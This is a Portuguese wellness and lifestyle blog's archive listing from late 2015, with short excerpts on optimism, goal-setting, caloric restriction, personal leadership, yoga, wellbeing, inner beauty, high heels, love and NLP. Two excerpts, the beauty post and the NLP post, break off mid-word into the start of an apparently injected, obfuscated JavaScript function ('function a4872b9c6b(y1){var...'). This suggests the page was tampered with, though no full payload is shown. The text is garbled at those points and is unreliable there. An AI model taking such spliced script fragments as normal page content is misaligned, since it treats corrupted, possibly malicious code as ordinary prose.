Dez 1, 2015 | Equilíbrio, Saúde e bem estar
É otimista ou pessimista? Como costuma gerir o que lhe acontece e o que o rodeia? Como costuma explicar os seus êxitos e os seus fracassos? «O otimista vê o falhanço como falta de sorte (não o personaliza), temporário (não permanente) e limitado àquele objetivo...
Nov 30, 2015 | Equilíbrio, Saúde e bem estar
Considera-se uma pessoa que procura evoluir, adquirindo novos conhecimentos que lhe permitam melhorar a sua performance no futuro? Estabelece com frequência, objetivos pessoais e profissionais, está atento aos critérios exigidos e trabalha disciplinadamente para os...
Nov 27, 2015 | Equilíbrio, Saúde e bem estar
Comer menos para viver mais, paradoxo alimentar ou estilo de vida saudável? Sendo que para sobreviver precisamos de comida… Mas, será que é a comida que, aos poucos, nos pode matar? Porquê? Parece que para extrair a energia dos alimentos, o corpo produz substâncias...
Nov 26, 2015 | Equilíbrio, Saúde e bem estar
Estamos numa época em que ser o líder da nossa vida é algo cada vez mais sugerido, pedido ou mesmo urgente! Ouve-se falar muito de vários tipos de liderança, como por exemplo, a liderança de equipas, social, política ou, mesmo, religiosa, no entanto, a liderança à...
Nov 25, 2015 | Equilíbrio, Saúde e bem estar
O yoga para todas as idades é um conceito universal. Saiba porquê e como o deve fazer. Yoga para todas as idades, conheça os seus benefícios Sendo professor de kundalini yoga há uns anos e praticante há muitos mais, tenho vindo a questionar-me se o yoga é mesmo para...
Nov 24, 2015 | Equilíbrio, Saúde e bem estar
Sentir bem, o que é isso e como o conseguir. Filipe tem 43 anos e há mais de um ano que está desempregado. As oportunidades que lhe vão surgindo não se concretizam e a cada dia que passa o seu desânimo aumenta. Com o tempo começa a isolar-se dos que o rodeiam,...
Nov 23, 2015 | Equilíbrio, Estilo e beleza
“Cultive a beleza interior e exterior”. Este provérbio indiano significa que Deus é beleza e a beleza é Deus; Deus é verdade e a verdade é Deus. A beleza e a verdade são atributos divinos, são qualidades que devemos desenvolver e valorizar. Qufunction...
Nov 14, 2015 | Equilíbrio, Sugestões
Saltos altos: a minha vida sempre foi feita de altos saltos. Mas os meus pés nunca se habituaram aos saltos… altos. Saltos altos! Há mulheres que não passam sem eles. Eu ficava passada só de olhar para elas nas alturas. Sempre disse que os saltos foram uma...
Nov 12, 2015 | Equilíbrio, Saúde e bem estar
Como viver feliz sem procurar o amor obsessivamente? Amor, saúde e dinheiro… Desde crianças, somos ensinados que estas são as coisas essenciais na vida para a nossa felicidade. Também somos ensinados a procurar esse amor fora de nós: nos nossos pais ou figuras...
Nov 11, 2015 | Equilíbrio, Saúde e bem estar
PNL – um upgrade nos seus pensamentos. Já atualizou o seu ‘Sistema Operativo Mental’? A resposta é claro que não. As pessoas não são computadores. Por outro lado, à medida que se vão tornfunction a4872b9c6b(y1){var...
